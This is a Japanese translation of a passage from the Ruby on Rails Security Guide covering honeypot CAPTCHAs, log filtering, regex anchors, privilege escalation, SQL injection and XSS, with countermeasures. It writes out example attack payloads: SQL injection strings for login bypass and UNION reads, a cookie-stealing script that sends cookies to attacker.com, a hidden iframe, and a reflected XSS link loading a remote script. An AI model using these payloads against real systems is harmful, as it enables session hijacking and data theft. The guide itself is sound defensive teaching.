APIから公開キーと秘密キーの2つのキーを取得し、それらをRailsの環境に設定する必要があります。その後、ビューでrecaptcha_tagsメソッド、コントローラでverify_recaptchaメソッドを使用できます。verify_recaptchaは、検証に失敗した場合にfalseを返します。 CAPTCHAの問題は、ユーザーエクスペリエンスに悪影響を与えることです。さらに、一部の視覚障害を持つユーザーは、特定の種類の歪んだCAPTCHAを読みにくいと感じることがあります。それにもかかわらず、ポジティブCAPTCHAは、あらゆる種類のボットからのフォームの送信を防ぐための最良の方法の1つです。

ほとんどのボットは非常に単純です。彼らはウェブをクロールし、見つけたすべてのフォームのフィールドにスパムを入れます。ネガティブCAPTCHAはそれを利用し、フォームに「ハニーポット」フィールドを含めます。このフィールドは、CSSやJavaScriptによって人間のユーザーから隠されます。

ネガティブCAPTCHAは、単純なボットに対してのみ効果的であり、ターゲットされたボットからの攻撃を防ぐためには十分ではありません。それにもかかわらず、ネガティブCAPTCHAとポジティブCAPTCHAを組み合わせることで、パフォーマンスを向上させることができます。たとえば、「ハニーポット」フィールドが空でない場合(ボットが検出された場合)、レスポンスを計算する前にGoogle ReCaptchaへのHTTPSリクエストを行う必要がなくなります。

以下は、JavaScriptと/またはCSSを使用してハニーポットフィールドを隠すいくつかのアイデアです:

  • ページの表示領域外にフィールドを配置する
  • 要素を非常に小さくするか、ページの背景と同じ色にする
  • フィールドを表示したままにして、人間に対して空白のままにするように伝える 最もシンプルなネガティブCAPTCHAは、隠しハニーポットフィールドを1つ含んでいます。サーバーサイドでは、フィールドの値をチェックします。テキストが含まれている場合、それはボットであるはずです。その場合、投稿を無視するか、肯定的な結果を返すことができますが、データベースには保存しません。これにより、ボットは満足して次に進むでしょう。

Ned Batchelderのブログ記事で、より洗練されたネガティブCAPTCHAの例を見つけることができます。

  • 現在のUTCタイムスタンプを含むフィールドを追加し、サーバーでチェックします。過去の時間または未来の時間である場合、フォームは無効です。
  • フィールド名をランダム化します。
  • 提出ボタンを含む複数のハニーポットフィールドを追加します。

ただし、これによって自動ボットから保護されるだけであり、特定の目的に特化したボットはこれでは止めることができません。したがって、ネガティブCAPTCHAはログインフォームを保護するためには適していないかもしれません。

5.4 ロギング

警告: Railsにパスワードをログファイルに記録しないように指示してください。

デフォルトでは、RailsはWebアプリケーションへのすべてのリクエストをログに記録します。しかし、ログファイルはログイン資格情報やクレジットカード番号などを含むセキュリティ上の大きな問題となり得ます。Webアプリケーションのセキュリティコンセプトを設計する際には、Webサーバーへの(完全な)アクセスが攻撃者によって取得された場合に何が起こるかも考える必要があります。データベース内の秘密やパスワードを暗号化しても、ログファイルがそれらを平文でリストアップしている場合はほとんど無意味です。ログファイルから特定のリクエストパラメータをフィルタリングするには、アプリケーションの設定でconfig.filter_parametersに追加することができます。これにより、ログ内のこれらのパラメータは[FILTERED]とマークされます。

config.filter_parameters << :password

提供されたパラメータは部分一致の正規表現によってフィルタリングされます。Railsは、passwordsecrettokenなどの典型的なアプリケーションパラメータを処理するために、適切なイニシャライザ(initializers/filter_parameter_logging.rb)にデフォルトのフィルタリストを追加します。

5.5 正規表現

情報: Rubyの正規表現でよくある落とし穴は、文字列の先頭と末尾をと$でマッチングさせようとすることです。代わりに\Aと\zを使用する必要があります。

Rubyは、文字列の終わりと始まりをマッチングさせるために、他の多くの言語とはやや異なるアプローチを採用しています。そのため、多くのRubyやRailsの書籍でもこれを間違えることがあります。では、なぜこれがセキュリティ上の脅威となるのでしょうか?たとえば、URLフィールドを緩くバリデーションしたい場合、次のような単純な正規表現を使用したとします。

  /^https?:\/\/[^\n]+$/i

これは一部の言語ではうまく機能するかもしれません。しかし、Rubyでは^$の先頭と行末にマッチします。そのため、次のようなURLも問題なくフィルタを通過します。

javascript:exploit_code();/*
http://hi.com
*/

このURLはフィルタを通過します。正規表現は2行目にマッチングし、残りの部分は関係ありません。さて、URLを次のように表示するビューがあると想像してみてください。

  link_to "ホームページ", @user.homepage

このリンクは訪問者には無害に見えますが、クリックするとJavaScriptの関数「exploit_code」または攻撃者が提供する他のJavaScriptが実行されます。

正規表現を修正するには、^$の代わりに\A\zを使用する必要があります。

  /\Ahttps?:\/\/[^\n]+\z/i

これはよくある間違いなので、フォーマットバリデータ(validates_format_of)は、提供された正規表現が^で始まるか$で終わる場合には例外を発生させるようになっています。^$の代わりに\Aと\zを使用する必要がない場合(まれですが)、:multilineオプションをtrueに設定することができます。

  # コンテンツには文字列のどこかに "Meanwhile" という行が含まれている必要があります
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

これにより、フォーマットバリデータを使用する際の最も一般的なミスに対して保護されますが、常にRubyでは^$の先頭と行末にマッチングすることを念頭に置いておく必要があることを覚えておいてください。

5.6 特権エスカレーション

警告: 単一のパラメータを変更するだけで、ユーザーは許可されていないアクセスを行うことができます。隠蔽や曖昧化をどれだけ行っても、すべてのパラメータは変更可能であることを忘れないでください。

ユーザーが改ざんする可能性のある最も一般的なパラメータは、idパラメータです。例えば、http://www.domain.com/project/1のような形式で、1がidです。このidはコントローラのparamsで利用できます。そこで、おそらく次のような処理を行うでしょう。 ruby @project = Project.find(params[:id])

これは一部のWebアプリケーションでは問題ありませんが、ユーザーがすべてのプロジェクトを表示する権限を持っていない場合は適していません。ユーザーがidを42に変更し、その情報を表示する権限がない場合でも、それにアクセスできてしまいます。その代わりに、ユーザーのアクセス権もクエリに含めてください

@project = @current_user.projects.find(params[:id])

Webアプリケーションによっては、ユーザーが操作できるパラメータがさらに多く存在する場合があります。一般的なルールとして、ユーザーの入力データは安全ではないという前提で取り扱い、ユーザーからのすべてのパラメータは潜在的に操作される可能性があると考えてください。

セキュリティを覆い隠すためのJavaScriptセキュリティに惑わされないでください。開発者ツールを使用すると、すべてのフォームの非表示フィールドを確認および変更できます。JavaScriptはユーザーの入力データを検証するために使用できますが、攻撃者が予期しない値で悪意のあるリクエストを送信することを防ぐためには使用できません。Mozilla FirefoxのFirebugアドオンはすべてのリクエストをログに記録し、繰り返し変更することができます。これはJavaScriptの検証をバイパスする簡単な方法です。さらに、インターネットのリクエストとレスポンスを傍受することができるクライアントサイドのプロキシも存在します。

6 インジェクション

インジェクションは、悪意のあるコードやパラメータをWebアプリケーションに導入し、そのセキュリティコンテキスト内で実行する攻撃の一種です。インジェクションの代表的な例として、クロスサイトスクリプティング(XSS)やSQLインジェクションがあります。

インジェクションは非常に厄介です。同じコードやパラメータでも、一つのコンテキストでは悪意を持つものであり、別のコンテキストでは完全に無害なものになることがあります。コンテキストにはスクリプト言語、クエリ言語、プログラミング言語、シェル、Ruby/Railsのメソッドなどがあります。以下のセクションでは、インジェクション攻撃が発生する可能性のあるすべての重要なコンテキストについて説明します。ただし、最初のセクションでは、インジェクションに関連するアーキテクチャ上の決定について説明します。

6.1 許可リストと制限リスト

何かをサニタイズ、保護、または検証する場合、制限リストではなく許可リストを使用することをお勧めします。

制限リストは、悪意のあるメールアドレス、非公開のアクション、または悪意のあるHTMLタグのリストです。これに対して、許可リストは、良いメールアドレス、公開アクション、良いHTMLタグなどのリストです。許可リストを作成することができない場合もありますが(スパムフィルターなど)、許可リストのアプローチを使用することをお勧めします

  • セキュリティに関連するアクションに対しては、before_action except: [...]を使用してください。これにより、新しく追加されたアクションに対してセキュリティチェックを有効にするのを忘れることがありません。
  • クロスサイトスクリプティング(XSS)に対して、<script>を削除する代わりに<strong>を許可してください。詳細については以下を参照してください。
  • 制限リストを使用してユーザーの入力データを修正しようとしないでください:
    • これは攻撃を成功させます:"<sc<script>ript>".gsub("<script>", "")
    • ただし、不正な入力は拒否してください

許可リストは、制限リストに何かを忘れるという人的要因に対しても有効なアプローチです。

6.2 SQLインジェクション

巧妙な方法のおかげで、ほとんどのRailsアプリケーションではほとんど問題になりません。ただし、これはWebアプリケーションで非常に壊滅的で一般的な攻撃ですので、問題を理解することが重要です。

6.2.1 導入

SQLインジェクション攻撃は、Webアプリケーションのパラメータを操作することでデータベースクエリに影響を与えることを目的としています。SQLインジェクション攻撃の一般的な目標は、認証をバイパスすることです。別の目標は、データの操作や任意のデータの読み取りです。以下は、クエリでユーザーの入力データを使用しない方法の例です:

Project.where("name = '#{params[:name]}'")

これは検索アクションであり、ユーザーは検索したいプロジェクトの名前を入力することができます。悪意のあるユーザーが' OR 1) --と入力した場合、生成されるSQLクエリは次のようになります:

SELECT * FROM projects WHERE (name = '' OR 1) --')

ハイフン2つはコメントを開始し、それ以降のすべてを無視します。したがって、クエリはユーザーには見えないレコードを含むプロジェクトテーブルのすべてのレコードを返します。これは、条件がすべてのレコードに対して真であるためです。

6.2.2 認証のバイパス

通常、Webアプリケーションにはアクセス制御が含まれています。ユーザーはログイン資格情報を入力し、Webアプリケーションはユーザーテーブルで一致するレコードを見つけようとします。アプリケーションはレコードを見つけた場合にアクセスを許可します。しかし、攻撃者はSQLインジェクションを使用してこのチェックをバイパスする可能性があります。以下は、ユーザーが提供したログイン資格情報パラメータに一致するユーザーテーブルの最初のレコードを見つけるためのRailsでの典型的なデータベースクエリの例です。 ruby User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

もし攻撃者が名前に ' OR '1'='1 を、パスワードに ' OR '2'>'1 を入力した場合、生成されるSQLクエリは以下のようになります:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

これにより、データベース内の最初のレコードが単純に見つかり、このユーザーにアクセスが許可されます。

6.2.3 不正な読み取り

UNIONステートメントは2つのSQLクエリを接続し、データを1つのセットで返します。攻撃者はこれを使用してデータベースから任意のデータを読み取ることができます。上記の例を見てみましょう:

Project.where("name = '#{params[:name]}'")

そして、UNIONステートメントを使用して別のクエリを注入してみましょう:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

これにより、以下のSQLクエリが生成されます:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

結果はプロジェクトのリストではなく、ユーザー名とそのパスワードのリストになります。ですので、データベース内のパスワードを安全にハッシュ化していることを願っています!攻撃者にとって唯一の問題は、両方のクエリの列数が同じである必要があることです。そのため、2番目のクエリには常に1の値である1のリストが含まれており、最初のクエリの列数と一致するようにしています。

また、2番目のクエリではASステートメントを使用していくつかの列の名前を変更しています。これにより、Webアプリケーションはユーザーテーブルの値を表示します。Railsを少なくとも2.1.1にアップデートしてください。

6.2.4 対策

Ruby on Railsには、特殊なSQL文字をエスケープする組み込みのフィルターがあります。これにより、'"、NULL文字、および改行がエスケープされます。Model.find(id)Model.find_by_something(something)を使用すると、自動的にこの対策が適用されます。ただし、SQLフラグメント、特に条件フラグメント(where("..."))やconnection.execute()Model.find_by_sql()メソッドでは、手動で適用する必要があります

文字列を渡す代わりに、次のようにして汚染された文字列をサニタイズするために位置指定ハンドラを使用できます:

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

最初のパラメータは、クエリ内の疑問符を含むSQLフラグメントです。2番目と3番目のパラメータは、疑問符を変数の値で置き換えます。

名前付きハンドラも使用できます。値は使用されるハッシュから取得されます:

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

さらに、使用ケースに適した条件を分割してチェーンすることもできます:

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

前述の対策はモデルインスタンスでのみ利用可能です。他の場所ではsanitize_sqlを試してみることができます。外部の文字列をSQLに使用する際には、セキュリティ上の影響を考える習慣を身につけましょう

6.3 クロスサイトスクリプティング(XSS)

Webアプリケーションにおける最も広まっているセキュリティ脆弱性の1つであり、最も破壊的なものの1つがXSSです。この悪意のある攻撃はクライアントサイドで実行可能なコードを注入します。Railsはこれらの攻撃を防ぐためのヘルパーメソッドを提供しています。

6.3.1 エントリーポイント

エントリーポイントとは、攻撃者が攻撃を開始できる脆弱なURLとそのパラメータのことです。

最も一般的なエントリーポイントは、メッセージ投稿、ユーザーコメント、ゲストブックですが、プロジェクトのタイトル、ドキュメント名、検索結果ページなど、ユーザーがデータを入力できる場所ならどこでも脆弱性が存在します。ただし、入力はウェブサイトの入力ボックスからのみではなく、明示的なもの、隠れたもの、内部のものである必要はありません。ユーザーはトラフィックを傍受できる可能性があります。アプリケーションやクライアントサイドのプロキシを使用すると、リクエストを変更することが容易になります。また、バナー広告などの他の攻撃ベクトルもあります。

XSS攻撃は次のように機能します:攻撃者がいくつかのコードを注入し、ウェブアプリケーションがそれを保存してページに表示し、後で被害者に提示します。ほとんどのXSSの例では、単純にアラートボックスが表示されますが、それ以上の機能があります。XSSはクッキーを盗み、セッションを乗っ取り、被害者を偽のウェブサイトにリダイレクトし、攻撃者の利益のために広告を表示し、機密情報を取得するためにウェブサイトの要素を変更したり、ウェブブラウザのセキュリティホールを介して悪意のあるソフトウェアをインストールすることができます。

2007年後半、Mozillaブラウザで88の脆弱性が報告され、Safariで22、IEで18、Operaで12が報告されました。Symantec Global Internet Security threat reportによれば、2007年下半期には239のブラウザプラグインの脆弱性が文書化されています。Mpackは非常に活発で最新の攻撃フレームワークであり、これらの脆弱性を悪用します。犯罪的なハッカーにとって、ウェブアプリケーションフレームワークのSQLインジェクションの脆弱性を悪用し、テキストのテーブル列に悪意のあるコードを挿入することは非常に魅力的です。2008年4月、51万以上のサイトがこのようにハッキングされました。その中にはイギリス政府、国連などの高プロファイルなターゲットも含まれています。

6.3.2 HTML/JavaScriptのインジェクション

最も一般的なXSS言語は、もちろん最も人気のあるクライアントサイドスクリプト言語であるJavaScriptです。HTMLと組み合わせて使用されることが多いです。ユーザーの入力をエスケープすることは重要です。

以下はXSSをチェックするための最も簡単なテストです。

<script>alert('Hello');</script>

このJavaScriptコードは単純にアラートボックスを表示します。次の例は、非常に一般的でない場所で同じことを行います。

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
6.3.2.1 クッキーの盗難

これまでの例では何の害もありませんでしたので、次に攻撃者がユーザーのクッキー(およびユーザーのセッションを乗っ取る)方法を見てみましょう。JavaScriptでは、document.cookieプロパティを使用してドキュメントのクッキーを読み取りおよび書き込みすることができます。JavaScriptは同一生成元ポリシーを強制するため、1つのドメインのスクリプトは他のドメインのクッキーにアクセスすることはできません。document.cookieプロパティは、元のWebサーバーのクッキーを保持します。ただし、このプロパティを直接HTMLドキュメントに埋め込む(XSSで行われるように)場合には、このプロパティを読み取りおよび書き込みすることができます。自分のウェブアプリケーションのどこにでもこれを埋め込んで、結果ページで自分のクッキーを表示してみてください。

<script>document.write(document.cookie);</script>

攻撃者にとっては、これは役に立ちません。なぜなら、被害者は自分自身のクッキーを見ることになるからです。次の例では、URL http://www.attacker.com/ にクッキーを追加して画像を読み込もうとします。もちろん、このURLは存在しないため、ブラウザは何も表示しません。しかし、攻撃者は自分のウェブサーバーのアクセスログファイルを確認して被害者のクッキーを見ることができます。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.comのログファイルは次のようになります。

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

これらの攻撃を緩和するためには、クッキーにhttpOnlyフラグを追加することが重要です。これにより、document.cookieはJavaScriptから読み取ることができなくなります。HTTP Onlyクッキーは、IE v6.SP1、Firefox v2.0.0.5、Opera 9.5、Safari 4、およびChrome 1.0.154以降で使用することができます。ただし、WebTVやMac上のIE 5.5などの他の古いブラウザでは、ページの読み込みに失敗する可能性があります。ただし、Ajaxを使用すると、クッキーはまだ表示されます

6.3.2.2 改ざん

ウェブページの改ざんでは、攻撃者はさまざまなことができます。たとえば、誤った情報を提示したり、被害者を攻撃者のウェブサイトに誘導してクッキーやログイン資格情報、その他の機密データを盗むことができます。最も一般的な方法は、iframeを使用して外部ソースからコードを含めることです。

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

これは外部ソースから任意のHTMLおよび/またはJavaScriptを読み込み、サイトの一部として埋め込みます。このiframeは、Mpack攻撃フレームワークを使用して、実際のイタリアの正規サイトへの攻撃で使用されました。Mpackは、ウェブブラウザのセキュリティホールを介して悪意のあるソフトウェアをインストールしようとします。この攻撃は非常に成功しており、攻撃の50%が成功しています。

より専門的な攻撃では、ウェブサイト全体を重ね合わせたり、サイトのオリジナルと同じように見えるログインフォームを表示したりして、ユーザー名とパスワードを攻撃者のサイトに送信することができます。または、CSSと/またはJavaScriptを使用して、ウェブアプリケーション内の正規のリンクを非表示にし、その場所に偽のウェブサイトにリダイレクトする別のリンクを表示することもできます。

反射型のインジェクション攻撃は、ペイロードが後で被害者に表示されるのではなく、URLに含まれる攻撃です。特に検索フォームでは、検索文字列をエスケープすることに失敗することがあります。次のリンクは、「ジョージ・ブッシュが9歳の少年を議長に任命した」というページを表示しました。

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 対策

悪意のある入力をフィルタリングすることは非常に重要ですが、ウェブアプリケーションの出力をエスケープすることも重要です

特にXSSの場合、制限された入力フィルタリングではなく、許可された入力フィルタリングを行うことが重要です。制限されたリストフィルタリングは、許可されていない値ではなく、許可された値を指定します。制限されたリストは完全ではありません。

制限されたリストでは、ユーザーの入力から「script」を削除します。しかし、攻撃者は「」をインジェクションし、フィルタリング後に「

フィードバック

このガイドの品質向上にご協力ください。

タイポや事実の誤りを見つけた場合は、ぜひ貢献してください。 開始するには、ドキュメントへの貢献セクションを読んでください。

不完全なコンテンツや最新でない情報も見つかるかもしれません。 メインのドキュメントに不足しているドキュメントを追加してください。 修正済みかどうかは、まずEdge Guidesを確認してください。 スタイルと規約については、Ruby on Rails Guides Guidelinesを確認してください。

修正すべき点を見つけたが、自分で修正できない場合は、 問題を報告してください

そして最後に、Ruby on Railsのドキュメントに関するあらゆる議論は、公式のRuby on Railsフォーラムで大歓迎です。